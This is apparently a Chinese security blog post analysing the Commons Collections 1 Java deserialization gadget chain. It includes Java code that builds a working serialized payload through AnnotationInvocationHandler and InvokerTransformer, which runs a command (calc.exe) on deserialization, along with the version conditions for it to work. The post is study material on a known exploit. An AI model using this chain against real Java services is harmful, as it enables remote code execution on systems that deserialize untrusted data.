反序列化分析(二)--CommonCollections1

链子分析

  • 首先新建一个TransformedMap,其中二三参数为可控,后续要用到

  • 当TransformedMap执行put方法时,会分别执行transformKey和transformValue方法

  • 可以看到,两个方法中,都有transform方法,但参数不可控

  • 找能触发InvokerTransform的transform方法,而且是无需借用外部传参的那种

分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.

  • 可是要执行invokeTransform,那就又少不了外部传参加以控制..

先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了

  • 那就说明,还要找一个transform实现类,能够返回Runtime

  • 这个类可以返回一个对象,而imap为可控,所以只要知道了input的值,例如为trick,那么iMap['trick']就可以返回一个Runtime,从而可以完成既定目标(但这个还是要借助外部参数,但可行性较高,毕竟一般不会传Runtime作为键值对,但会传一个字符串,感觉又有点像php链子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        //创建一个含有Runtime的map
HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap); //传进去作为第一个transformer类
Transformer[] transformers = {
mapTransformer,
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); }

其中部分的数据需要同步



因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性

  • 可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链

  • 这个是完全无需借助不可控变量的

  • 返回的是类中的某个元素,所以是可控的,且与传进来的参数无关

public static void main(String[] args) {

        Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可 }

  • 至此,从TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer这条链已经分析清楚了.

一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).

完善成可利用的POC

上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.

在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整

  • 序列化构造时可能遇到的问题
  1. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)的认知
  2. Runtime类没有实现序列化接口,无法完成序列化。
  • 解决方案
  1. 该<? extends Annotation>代表需要是继承的子类,所以传的时候需要是子类对象的class
  2. 利用反射,借用InvokerTransformer,让Runtime在反序列化后形成。或者借用其他代码执行的类
  3. common-collections 3.2.2后加入了安全机制,这里我直接改成了3.1的cc

最终

利用条件

sun.reflect.annotation.AnnotationInvocationHandler的第一个参数不仅要是Annotation的子类,而且还要和后面的Map都拥有一个同名函数

java 8u71前版本,后面的版本中有修改,需要更换利用

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
/**
* 1.让Runtime在序列化后产生
* 2。采用其他方式进行命令执行
*/ /**
Method method = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) method.invoke(null);
r.exec("calc.exe");
*/ Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}), //返回一个Runtime
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap();
hashMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); /**
* AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
* 这里第一个参数需要是Annotation的子类
*/ Object o = constructor.newInstance(Retention.class, outerMap); ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt"));
ous.writeObject(o); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(o);
objectOutputStream.close(); System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); }

总结

hashMap与transformer之间的渊源:一般添加新的值时,为了有一定的规则,这个时候需要用到转换(Transform)相关的东西进行转换。这就是为什么hashMap总是和transform之类的能联想到一起

  1. invokeTransform -- 能够执行命令
  2. ConstantTransform -- 不需要依赖参数,可以返回一个可控的内部属性
  3. chainedTransformer -- 能够将前面产生的结果作为后面的参数,和FilterChain相似

[JavaWeb]反序列化分析(二)--CommonCollections1的更多相关文章

  1. Java 序列化和反序列化(二)Serializable 源码分析 - 1

    目录 Java 序列化和反序列化(二)Serializable 源码分析 - 1 1. Java 序列化接口 2. ObjectOutputStream 源码分析 2.1 ObjectOutputSt ...

  2. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  3. SNMP报文抓取与分析(二)

    SNMP报文抓取与分析(二) SNMP报文抓取与分析(二) 1.SNMP报文表示简介 基本编码规则BER 标识域Tag表示 长度域length表示 2.SNMP报文详细分析(以一个get-respon ...

  4. Fresco 源码分析(二) Fresco客户端与服务端交互(1) 解决遗留的Q1问题

    4.2 Fresco客户端与服务端的交互(一) 解决Q1问题 从这篇博客开始,我们开始讨论客户端与服务端是如何交互的,这个交互的入口,我们从Q1问题入手(博客按照这样的问题入手,是因为当时我也是从这里 ...

  5. yhd日志分析(二)

    yhd日志分析(二) 继续yhd日志分析,统计数据 日期 uv pv 登录人数 游客人数 平均访问时长 二跳率 独立ip数 1 分析 登录人数 count(distinct endUserId) 游客 ...

  6. SQLite入门与分析(二)---设计与概念(续)

    SQLite入门与分析(二)---设计与概念(续)   写在前面:本节讨论事务,事务是DBMS最核心的技术之一.在计算机科学史上,有三位科学家因在数据库领域的成就而获ACM图灵奖,而其中之一Jim G ...

  7. Linux内核启动代码分析二之开发板相关驱动程序加载分析

    Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c  start_ke ...

  8. 一些有用的javascript实例分析(二)

    原文:一些有用的javascript实例分析(二) 5 求出数组中所有数字的和 window.onload = function () { var oBtn = document.getElement ...

  9. Android4.0图库Gallery2代码分析(二) 数据管理和数据加载

    Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Androi ...

随机推荐

  1. GAN 简介

    GAN 原理: ​GAN 的主要灵感来源于博弈论中零和博弈的思想,应用到深度学习神经网络上来说,就是通过生成网络 G(Generator)和判别网络 D(Discriminator)不断博弈,进而使 ...

  2. github源码下载总结

    总结 下面来自我的经验,仅作参考. 下载时间选择 千万不要选择 晚上下载.下午7点后就不要从github上传或者下载代码,我用的是电信,踩坑: 这段时间后到第二天早上7点之前,这段时间内的上传和下载只 ...

  3. lldb调试C++总结(1)

    Note 好记性不如烂笔头.时间一长,lldb的基本功快忘本了. 本文将介绍使用 lldb 调试 C++程序的基本用法. 演示基于 Ubuntu + lldb lldb + clang(++) 版本 ...

  4. 【九度OJ】题目1124:Digital Roots 解题报告

    [九度OJ]题目1124:Digital Roots 解题报告 标签(空格分隔): 九度OJ 原题地址:http://ac.jobdu.com/problem.php?pid=1124 题目描述: T ...

  5. 【LeetCode】189. Rotate Array 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 切片 递归 日期 题目地址:https://leet ...

  6. 【LeetCode】860. Lemonade Change 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...

  7. 问题--ImportError: DLL load failed: 找不到指定的模块

    今天在运行别人的项目时出现了问题: ImportError: DLL load failed: 找不到指定的模块. 解决方法: 卸载后重新安装. 详情参考: Python报错:ImportError: ...

  8. On the Optimization of Deep Networks: Implicit Acceleration by Overparameterization

    目录 引 主要内容 定理1 Claim 1 Claim 2 定理2 证明 定理1的证明 Claim 1 的证明 Kronecker product (克罗内克积) Theorem 2 的证明 代码 A ...

  9. 使用.NET 6开发TodoList应用(13)——实现查询分页

    系列导航及源代码 使用.NET 6开发TodoList应用文章索引 需求 查询中有个非常常见的需求就是后端分页,实现的方式也不算复杂,所以我们本文仅仅演示一个后端查询分页的例子. 目标 实现分页查询返 ...

  10. MySQL高级查询与编程笔记 • 【第5章 常见数据库对象】

    全部章节   >>>> 本章目录 5.1 视图 5.1.1 视图的定义 5.1.2 视图的优点 5.1.3 视图的创建和使用 5.1.4 利用视图解决数据库的复杂应用 5.1. ...